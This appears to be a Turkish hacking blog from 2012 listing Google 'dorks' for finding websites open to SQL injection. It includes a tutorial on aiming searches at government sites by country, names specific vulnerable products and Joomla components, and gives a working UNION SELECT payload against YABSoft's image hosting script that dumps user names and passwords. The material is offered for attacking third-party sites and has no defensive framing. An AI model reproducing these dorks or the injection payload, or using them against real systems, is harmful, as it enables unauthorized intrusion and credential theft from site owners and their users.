SQL dorklar etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
SQL dorklar etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

23 Şubat 2012 Perşembe

18 Şubat 2012 Cumartesi

17 Şubat 2012 Cuma

Yeni Çıkan Güncel SQL Dorklar

"Powered by Taylored Ideas"
"By Urban Genesis Management"
"Powered by Upnorthwebs and Lightbox Technologies"
"Powered By Telerom"    
"Powered by: Beacon Media Inc."
"Powered By - K Labs"
"Powered By East Technologies" & "Web Design By East Technologies"
"Powered by CMS Faethon" , "Powered by CMS Faethon 1.3.4"
"Powered by Datacraft Systems Ltd"



xss


intext:jenkins ver. inurl:/jenkins site:edu or what you
want.

1 Şubat 2012 Çarşamba

Dork Yazma // Th4 MasK

Merhabalar Arkadaşlar.

Bugun Sizlere Kendi Dorkunuzu Yazmayı Göstericem.

Kendi Anlatımım Olucaktır. Umarım Faydalı Olabilirim.

inurl: ile başlayalım ben genelde öyle yapıyoru. 

Sonrasından Hangisini ASP'mi PHP'mi Onu Karar Vericez.

Ben PHP alıcam.

inurl:"php?id="

Bunu kısıtlıyabilirsinizde Nasıl mı ? 

com,gov veya edu olarak birini alalım mesela.

inurl:"php?id" "gov"

Yukardaki gördügünüz dork ile sadece sadece gov sitelerin php?id= bulursunuz. 

Bunuda Ülkelere Göre Sınırlandırabilirsiniz. 

inurl:"php?id=" "gov.it" 

it =italyanların uzantısı. yani italyanların gov uzantılı php ile yazılmış sitelerine ulaşabilirsiniz.

Bunlar Sadece Bir Örnektir. Geliştirebilir Hatta Dahada Sağlamlaştırabilirsiniz.

Th4 MasK ** Bilinmezlik Diyarından

31 Ocak 2012 Salı

Bug

"Website by Polymedia Ltd." "inurl:php?="

inurl:"/index.php?option=com_firmy"
inurl:"/index.php?option=com_visa"
"TND media webdesign"  

24 Ocak 2012 Salı

16 Ocak 2012 Pazartesi

Bir Kaç Bug.

BPTSoft Web Solution Group SQL Injection

Dork = site:.ir intext:Copyright 2005-2009 BPTSoft Web Solution Group 

YABSoft Advanced Image Hosting Script SQL Injection
 
Dork = view_comments.php?gal=
 
Kullanıcagınız Yöntem = view_comments.php?gal= 
union all select 1,2,3,4,5,6,7,group_concat(id,0x3a,user,0x3a,pass,0x0a) 
FROM users-- 
 
Joomla Contushdvideoshare SQL Injection
 
Dork = com_contushdvideoshare  


2 Ocak 2012 Pazartesi

Güncel SQL Dorklar.

Powered by Lixar

"powered by WebSAT™"


[Website Powered By ReadMore Systems] 


Powered by Jin Ware international 1.2


"powered by jPORTAL 2" 


"Powered by WSN Links"


"Powered by Php-X-Links"